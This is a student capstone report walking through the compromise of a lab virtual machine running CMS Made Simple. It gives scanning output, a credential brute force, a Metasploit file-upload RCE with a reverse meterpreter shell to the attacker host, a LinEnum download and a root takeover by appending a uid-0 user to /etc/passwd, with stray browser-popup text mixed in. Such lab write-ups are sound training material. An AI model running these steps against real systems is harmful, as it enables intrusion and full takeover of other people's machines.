

CENTRAL TRAINING ACADEMY



Title : Capstone Project

Name : Muhammad Yaseen ibn Akhtar

Submitted To: Sir Faheem Illyas Siddiqi

1.Reconnaissance (Information Gathering)

- **Objective:** Collect as much information as possible about the target system.
- **Actions:**
 - **Network Scanning:** Using **Netdiscover** to find the target IP address (192.168.1.15).
 - **Port Scanning:** Running **Nmap** with the -A flag to discover open ports and services (SSH on port 22 and HTTP on port 80).

```
Currently scanning: 192.168.33.0/16 | Screen View: Unique Hosts
21 Captured ARP Req/Rep packets, from 6 hosts. Total size: 1260
IP          At MAC Address      Count    Len   MAC Vendor / Hostname
192.168.1.1  fc:40:09:f8:3f:f9    9      540   zte corporation
192.168.1.12 08:00:27:94:29:b1    4      240   PCS Systemtechnik GmbH
192.168.1.2  a2:f4:f7:9c:ad:31    1      60    Unknown vendor
192.168.1.3  e0:2e:0b:ea:0c:13    2      120   Intel Corporate
192.168.1.4  9a:12:a1:20:b9:41    1      60    Unknown vendor
192.168.1.15 08:00:27:4e:84:21    4      240   PCS Systemtechnik GmbH
(root㉿kali)-[~/home/kali]
# exit
```

NMAP scanning using command

nmap -A 192.168.1.15

```

[root@kali] ~
# nmap -A 192.168.1.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 07:19 EDT
Nmap scan report for 192.168.1.15 (192.168.1.15)
Host is up (0.0035s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c9:92:aa:d2:28:eb:c1:d2:9d:96:cd:81:38:0e:7a:87 (RSA)
|   256 f4:b8:88:fa:05:b6:4a:38:e0:a0:52:9a:44:52:e2:eb (ECDSA)
|_  256 1d:73:b5:ae:68:a4:df:b5:b2:65:51:32:ff:34:d5:4b (ED25519)
80/tcp    open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-generator: CMS Made Simple - Copyright (c) 2004-2019. All rights reserved.
|_http-title: Home - WestWild
|_http-server-header: Apache/2.4.38 (Ubuntu)
MAC Address: 08:00:27:4E:84:21 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/6%OT=22%CT=1%CU=40922%PV=Y%DS=1%DC=D%G=Y%M=08002
OS:7%TM=6702727B%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%I
OS:I=I%TS=A)SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=102%GCD=1%I
OS:SR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)0
OS:PS(01=M5B4ST11NW6%02=M5B4ST11NW6%03=M5B4NNT11NW6%04=M5B4ST11NW6%05=M5B4S
OS:T11NW6%06=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

2. Weaponization (Prepare Exploit)

- **Objective:** Identify vulnerabilities and prepare an attack based on the collected information.
- **Actions:**
 - **Directory Enumeration:** Using **dirb** to find hidden directories (aspadmin) on the web service.
 - **File Downloading:** Using **wget** to download the **user.list** and **password.list** files from the target server for a brute-force attack.

Using Command :

➤ Dirb **http://192.168.1.15**

```
(kali㉿kali)-[~]
$ dirb http://192.168.1.15

_____
DIRB v2.22
By The Dark Raver
_____

START_TIME: Sun Oct  6 07:20:31 2024
URL_BASE: http://192.168.1.15/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

_____
GENERATED WORDS: 4612

_____
Scanning URL: http://192.168.1.15/
⇒ DIRECTORY: http://192.168.1.15/admin/
⇒ DIRECTORY: http://192.168.1.15/assets/
⇒ DIRECTORY: http://192.168.1.15/doc/
+ http://192.168.1.15/index.php (CODE:200|SIZE:19347)
⇒ DIRECTORY: http://192.168.1.15/lib/
⇒ DIRECTORY: http://192.168.1.15/modules/
+ http://192.168.1.15/server-status (CODE:403|SIZE:300)
⇒ DIRECTORY: http://192.168.1.15/tmp/
⇒ DIRECTORY: http://192.168.1.15/uploads/

_____
Entering directory: http://192.168.1.15/admin/
⇒ DIRECTORY: http://192.168.1.15/admin/aspadmin/
+ http://192.168.1.15/admin/index.php (CODE:302|SIZE:0)
⇒ DIRECTORY: http://192.168.1.15/admin/lang/
⇒ DIRECTORY: http://192.168.1.15/admin/plugins/
⇒ DIRECTORY: http://192.168.1.15/admin/templates/
```

By exploring the directories we get an important file of usernames and passwords,

← → G △ Not secure 192.168.1.15/admin/aspadmin/

Index of /admin/aspadmin

Name	Last modified	Size	Description
Parent Directory		-	
password.list	2019-08-15 23:00	1.5K	
user.list	2019-08-15 23:01	45	

Apache/2.4.38 (Ubuntu) Server at 192.168.1.15 Port 80

3. Delivery (Launch the Attack)

- **Objective:** Launch the attack by exploiting identified vulnerabilities.
- **Actions:**
 - **BurpSuite Brute Force:** Capturing login page requests and using **BurpSuite's Intruder** to brute force the login credentials using the downloaded username and password lists.
 - Successfully obtaining valid credentials: **Username: west** and **Password: Madison.**

Now, Brute forcing through Burpsuit,

Set up proxy , turn on intruder and add username and password file to it and wait for attack to be done.

// I was in my home and my ip was changed at that time (192.168.1.8)

Also it took me 7 hour to fetch the results

Username :west

Password: madison

The screenshot shows the Burp Suite interface with the 'Intruder' tab selected. The title bar indicates '5. Intruder attack of http://192.168.1.8'. The main window displays the results of an attack, with the 'Results' tab active. A table lists 593 successful attacks, each showing a request (Payload 1), response (Payload 2), status code, and length. The first successful entry is for 'west' and 'madison' with a status code of 200 and a length of 991. Below the table, the 'Request' and 'Response' panes show the raw HTTP traffic. The request shows a POST to /admin/login.php with form-encoded data including 'username=west' and 'password=madison'. The response shows a 200 OK status with a length of 991. The bottom status bar shows 'Finished'.

Okay so, again my ip is changed because of network ,

starting from **netdiscover** command ,

Host :192.168.1.12

Target : 192.168.1.15

```
Currently scanning: 192.168.33.0/16 | Screen View: Unique Hosts 00:00:00:00:00:00 Google Hacking DB  
21 Captured ARP Req/Rep packets, from 6 hosts. Total size: 1260  


| IP           | At MAC Address    | Count | Len | MAC Vendor / Hostname  |
|--------------|-------------------|-------|-----|------------------------|
| 192.168.1.1  | fc:40:09:f8:3f:f9 | 9     | 540 | zte corporation        |
| 192.168.1.12 | 08:00:27:94:29:b1 | 4     | 240 | PCS Systemtechnik GmbH |
| 192.168.1.2  | a2:f4:f7:9c:ad:31 | 1     | 60  | Unknown vendor         |
| 192.168.1.3  | e0:2e:0b:ea:0c:13 | 2     | 120 | Intel Corporate        |
| 192.168.1.4  | 9a:12:a1:20:b9:41 | 1     | 60  | Unknown vendor         |
| 192.168.1.15 | 08:00:27:4e:84:21 | 4     | 240 | PCS Systemtechnik GmbH |

  
[root@kali ~]# exit  
We are having trouble restoring your last browser session. Select
```

4.Exploitation (Exploit Vulnerability)

- **Objective:** Exploit the vulnerability to gain unauthorized access to the system.
- **Actions:**
 - Using Searchsploit to find a Remote Code Execution (RCE) vulnerability in the CMS Showtime2 plugin.
 - Using Metasploit to execute the RCE exploit: exploit/multi/http/cmsms_showtime2_rce, gaining access to a meterpreter shell on the target system.
 - Upgrading the shell to a fully interactive one using a Python one-liner.

Following the instructions and starting Metasploit tool ;

Command : **sudo msfconsole**

```
(kali㉿kali)-[~]
$ sudo msfconsole
Metasploit tip: View advanced module options with advanced if you don't need to recover, and

it looks like you're trying to run a module
\

@ @
|| |
|| |
||_||_
\_\_|_|_
```

Now, Searchsploit gave us a Remote Code Execution Exploit. And moreover, it is a part of the Metasploit Framework.

Command : searchsploit showtime2

```
msf6 > search showtime2
Matching Modules
=====
#  Name
-  --
0  exploit/multi/http/cmsms_showtime2_rce  2019-03-11  normal  Yes  CMS Made Simple (CMSMS) Showtime2 File Upload RCE
View Previous Tabs  Start New Session  Restore Session

We are having trouble restoring your last browsing session. Select Restore Session to try again.

Still not able to restore your session? Sometimes a tab is causing the issue. View previous tabs, remove the checkmark in the tabs you don't need to recover, and then restore.

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/cmsms_showtime2_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/cmsms_showtime2_rce) > options
```

To select the exploit ,Use command : use 0
then , **options** to see the requirements

```
msf6 exploit(multi/http/cmsms_showtime2_rce) > options
Module options (exploit/multi/http/cmsms_showtime2_rce):
=====
Name   Current Setting  Required  Description
-----+-----+-----+
PASSWORD          no           Password to authenticate with
Proxies            no           A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS             yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT              80          yes          The target port (TCP)
SSL                false        no           Negotiate SSL/TLS for outgoing connections
TARGETURI          /           yes          Base CMS Made Simple directory path
USERNAME           yes          Username to authenticate with
VHOST              no           HTTP server virtual host

We are having trouble restoring your last browsing session. Select Restore Session to try again.

Payload options (php/meterpreter/reverse_tcp):
=====
Name   Current Setting  Required  Description
-----+-----+-----+
LHOST      192.168.1.12  yes           The listen address (an interface may be specified)
LPORt      4444          yes           The listen port

Exploit target:
=====
Id  Name
-  --
0  Automatic
```

Set the requirements as shown in screenshot using these commands

> set rhosts 192.168.1.15

> set username west

> set password madison

```
msf6 exploit(multi/http/cmsms_showtime2_rce) > set RHOSTS 192.168.1.15
RHOSTS => 192.168.1.15
msf6 exploit(multi/http/cmsms_showtime2_rce) > set username west
username => west
msf6 exploit(multi/http/cmsms_showtime2_rce) > set password madison
password => madison
```

Again see the options ,to see everything is properly done .

```
msf6 exploit(multi/http/cmsms_showtime2_rce) > options

Module options (exploit/multi/http/cmsms_showtime2_rce):
Name      Current Setting  Required  Description
_____
PASSWORD  madison        no        Password to authenticate with
Proxies    no              A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS    192.168.1.15   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     80              yes       The target port (TCP)
SSL       false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI /              yes       Base CMS Made Simple directory path
USERNAME  west            yes       Username to authenticate with
VHOST     no              no        HTTP server virtual host

We are having trouble restoring your last browsing session. Select Restore Session to try again.
Still not able to restore your session? Sometimes a tab is causing the issue. View previous tabs, remove the checkmark
to the tabs you don't need to recover, and then restore.

Payload options (php/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
_____
LHOST    192.168.1.12    yes       The listen address (an interface may be specified)
LPORT    4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

Start New Session  Restore Session

View the full module info with the info, or info -d command.
```

here the weaponization is completed and we are going for exploitation command : **run**

```
msf6 exploit(multi/http/cmsms_showtime2_rce) > run
[*] Started reverse TCP handler on 192.168.1.12:4444
[*] Uploading PHP payload.
[*] Making request for '/NdKuoD70.php' to execute payload.
[*] Sending stage (39927 bytes) to 192.168.1.15
[+] Deleted ./NdKuoD70.php
[*] Meterpreter session 1 opened (192.168.1.12:4444 → 192.168.1.15:34454) at 2024-10-06 04:49:38 -0400

w
meterpreter >
meterpreter > sysinfo
Computer : westside
OS       : Linux westside 5.0.0-25-generic #26-Ubuntu SMP Thu Aug 1 12:04:58 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >
```

Now that we have the meterpreter, we ran the shell command to get the bash shell. But this we gave us an improper shell, so we will convert it into a proper shell using the python one-liner.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
meterpreter > shell
Process 1088 created.
Channel 0 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@westside:/var/www/html/uploads/images$
```

5. Installation (Establish Persistence)

- **Objective:** Install backdoors or further escalate privileges to maintain control over the system.
- **Actions:**
 - **Privilege Escalation via SUID Binaries:** Using find / -perm -u=s -type f to locate files with SUID permissions. Finding the binary network_info.
 - **PATH Variable Exploit:** Creating a malicious ifconfig file in /tmp, modifying the PATH environment variable to include /tmp, and executing network_info to escalate privileges.

By using the following command, you can enumerate all binaries having SUID permissions:

```
find / -perm -u=s -type f 2>/dev/null
```

```
www-data@westside:/var/www/html/uploads/images$ find / -perm -u=s -type f 2>/dev/null
<loads/images$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/at
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/network_info
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17200/bin/mount
/snap/core/17200/bin/ping
/snap/core/17200/bin/ping6
/snap/core/17200/bin/su
/snap/core/17200/bin/umount
/snap/core/17200/usr/bin/chfn
/snap/core/17200/usr/bin/chsh
/snap/core/17200/usr/bin/gpasswd
/snap/core/17200/usr/bin/newgrp
/snap/core/17200/usr/bin/passwd
/snap/core/17200/usr/bin/sudo
/snap/core/17200/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17200/usr/lib/openssh/ssh-keysign
```

Sorry, We're having trouble getting yo

We are having trouble restoring your last browsing session. Select Restore Session

Still not able to restore your session? Sometimes a tab is causing the issue. View previous tabs from the tabs you don't need to recover, and then restore.

[View Previous Tabs](#) ▾

[Start New](#)

PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with the help of PATH Variable in response to commands executed by a user.

- **/usr/bin/network_info**
- **cd /tmp**
- **echo "/bin/bash" > ifconfig**
- **chmod 777 ifconfig**
- **export PATH=/tmp:\$PATH**
- **whoami**

```
www-data@westside:/var/www/html/uploads/images$ cd /tmp
cd /tmp
www-data@westside:/tmp$ echo "/bin/bash" > ifconfig
echo "/bin/bash" > ifconfig
www-data@westside:/tmp$ chmod 777 ifconfig
chmod 777 ifconfig
www-data@westside:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@westside:/tmp$ /usr/bin/network_info
/usr/bin/network_info
www-data@westside:/tmp$ whoami
whoami
www-data
www-data@westside:/tmp$ █
```

6. Command and Control (C2)

- **Objective:** Establish a connection to remotely control the compromised system.
- **Actions:**
 - Maintaining access through the meterpreter shell and further escalation with local enumeration using **LinEnum.sh**.

- **Wgethttps://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh**
- **chmod 777 LinEnum.sh**
- **./LinEnum.sh**

```
wside@westside:/tmp$ cd /tmp
cd /tmp
wside@westside:/tmp$ ./LinEnum.sh
./LinEnum.sh
bash: ./LinEnum.sh: No such file or directory
wside@westside:/tmp$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
<sercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2024-10-06 08:59:10-- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com) ... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: 'LinEnum.sh'

We are having trouble restoring your last browsing session. Select Restore Session to try again.
LinEnum.sh      100%[=====] 45.54K --.-KB/s   in 0.04s
Still not able to restore your session? Sometimes a tab is causing the issue. View previous tabs, remove the problematic tab, and then restore.
2024-10-06 08:59:11 (1.17 MB/s) - 'LinEnum.sh' saved [46631/46631]

wside@westside:/tmp$ chmod 777 LinEnum.sh
chmod 777 LinEnum.sh
wside@westside:/tmp$ ./LinEnum.sh
./LinEnum.sh

#####
# Local Linux Enumeration & Privilege Escalation Script #
#####

# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Disabled
```

After the successful run of the LinEnum Script, we find some important information that the /etc/passwd file is readable and writable by the user “wside”.

```
[+] Can we read/write sensitive files:  
-rw-r--r-- 1 wside root 1762 Oct  5 10:58 /etc/passwd  
-rw-r--r-- 1 root root 783 Aug 25 2019 /etc/group  
-rw-r--r-- 1 root root 581 Aug  6 2018 /etc/profile  
-rw-r----- 1 root shadow 1102 Aug 15 2019 /etc/shadow
```

7. Actions on Objectives (Achieve Goal)

- **Objective:** Complete the final goal, such as exfiltrating data or capturing sensitive information.
- **Actions:**
 - **Privilege Escalation:** Editing the /etc/passwd file to add a new root user (raj) with the generated salted hash password using **OpenSSL**.
 - Successfully logging in as the root user and capturing the flag.

➤ **openssl passwd -1 -salt userr 1111**

```
wside@westside:/tmp$ openssl passwd -1 -salt userr 1111  
openssl passwd -1 -salt userr 1111  
$1$userr$f2Pmre5QK/Da.Kjkz8ign/  
wside@westside:/tmp$ echo 'userr:$1$userr$f2Pmre5QK/Da.Kjkz8ign/:0:0::/root:/bin/bash' >> /etc/passwd  
<K/Da.Kjkz8ign/:0:0::/root:/bin/bash' >> /etc/passwd  
wside@westside:/tmp$ su userr  
su userr  
Password: 1111
```

After, generating the salted hash we edited the /etc/passwd using the echo command to add our password hash.

➤ **echo 'userr:\$1\$userr\$f2Pmre5QK/Da.Kjkz8ign/:0:0::/root:/bin/bash' >> /etc/passwd**
➤ **su userr # root**
➤ **1111 # password for user**

Mission accomplished! The flag is ours 🎉🎉🚩🚩🚩

```
su user
Password: 1111

Places
Computer / 10 KB F
Downloads / 10 KB F
Desktop / 40 KB F
Documents / 40 KB F
Music / 40 KB F
Pictures / 40 KB F
Videos / 40 KB F
Devices / 40 KB F
File Systems / 40 KB F
Network / 40 KB F
Browse Network / 40 KB F
Row / 52 KB B
Styles / 52 KB B
m3400.rtf / 52 KB B
```